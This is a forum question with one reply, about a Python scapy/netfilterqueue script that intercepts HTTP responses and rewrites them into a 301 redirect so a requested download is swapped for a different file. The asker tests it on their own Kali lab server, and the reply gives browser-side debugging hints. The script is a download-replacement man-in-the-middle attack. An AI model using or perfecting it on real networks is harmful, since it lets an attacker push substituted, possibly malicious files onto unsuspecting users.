How can a file be replaced to download in a Python script to modify HTTP response?

<!DOCTYPE html>
<html>
<head>
<title>Welcome to our test website</title>
</head>
<body>
<h1>Welcome to our test website</h1>
<a href="/cat.png" download>Click here to download picture of a cute cat</a>
</body>
</html>

I’m serving this webpage from my local kali machine with apache2 which ip is 10.0.2.4
When I visit this site from my local browser, it has a download link for a cat picture. The cat picture is located in my local kali machine /var/www/html/cat.png

Now I’m doing a test for educational purpose only which is by running a python script, I want to redirect the download link of the cat picture when clicked on the link and replace the cat picture with another picture named hacked.png which is located in /var/www/html/spoofed.png.

When I run the script and try to test this, no download prompt appears in the browser. Just opens another tab saying “Problem loading page”. The python script is:

#!/usr/bin/env python3

import netfilterqueue
import scapy.all as scapy


ack_list = []
def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())

    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet.haslayer(scapy.TCP):
            if scapy_packet[scapy.TCP].dport == 80:
                if b".png" in scapy_packet[scapy.Raw].load:
                    print("\n[+] Request for .png file found\n")
                    ack_list.append(scapy_packet[scapy.TCP].ack)
                    print(scapy_packet.show())
            elif scapy_packet[scapy.TCP].sport == 80:
                if scapy_packet[scapy.TCP].seq in ack_list:
                    ack_list.remove(scapy_packet[scapy.TCP].seq)   #Not needed anymore.
                    print("\n[+] Replacing download file.....\n")
                    scapy_packet[scapy.Raw].load = "HTTP/1.1 301 Moved Permanently\nLocation: http://10.0.2.4/spoofed.png"
                    del scapy_packet[scapy.IP].len
                    del scapy_packet[scapy.IP].chksum
                    del scapy_packet[scapy.TCP].chksum
                    print(scapy_packet.show())

                    packet.set_payload(bytes(scapy_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

And while testing, from terminal I get this in the response section:

###[ IP ]### 
 version  = 4
 ihl    = 5
 tos    = 0x0
 len    = None
 id    = 49469
 flags   = DF
 frag   = 0
 ttl    = 64
 proto   = tcp
 chksum  = None
 src    = 10.0.2.4
 dst    = 10.0.2.4
 \options  \
###[ TCP ]### 
   sport   = http
   dport   = 33314
   seq    = 2997241229
   ack    = 433307214
   dataofs  = 8
   reserved = 0
   flags   = PA
   window  = 512
   chksum  = None
   urgptr  = 0
   options  = [('NOP', None), ('NOP', None), ('Timestamp', (3320402094, 3320402092))]
###[ Raw ]### 
    load   = 'HTTP/1.1 301 Moved Permanently\r\nLocation: http://10.0.2.4/spoofed.png'

I’m not familiar with the libraries you are using / how you are intercepting the traffic to and from Apache. But it seems obvious your goal here must be to do the swap without changing the web server configuration. And since you haven’t gotten other responses I can give a few thoughts, but I don’t know how helpful it is.

I would open browser dev tools and have a look at the responses Apache generates when you download a file normally in the browser. I would expect it is setting a “Content-Disposition: attachment” HTTP response header, since that is what tells the browser to treat the response content as a file download.

I would do the same (network monitor in browser dev tools) with your script running, so you can see what the browser is seeing. I would assume that if it is interpreting your injected 301 response correctly the browser will issue a second request to the redirect URL. Apache should receive and process that second request normally, but you might need to intercept and modify that response as well to do everything you’re trying to do (like set the download filename differently from the actual file name, I think that is a parameter for Content-Disposition also).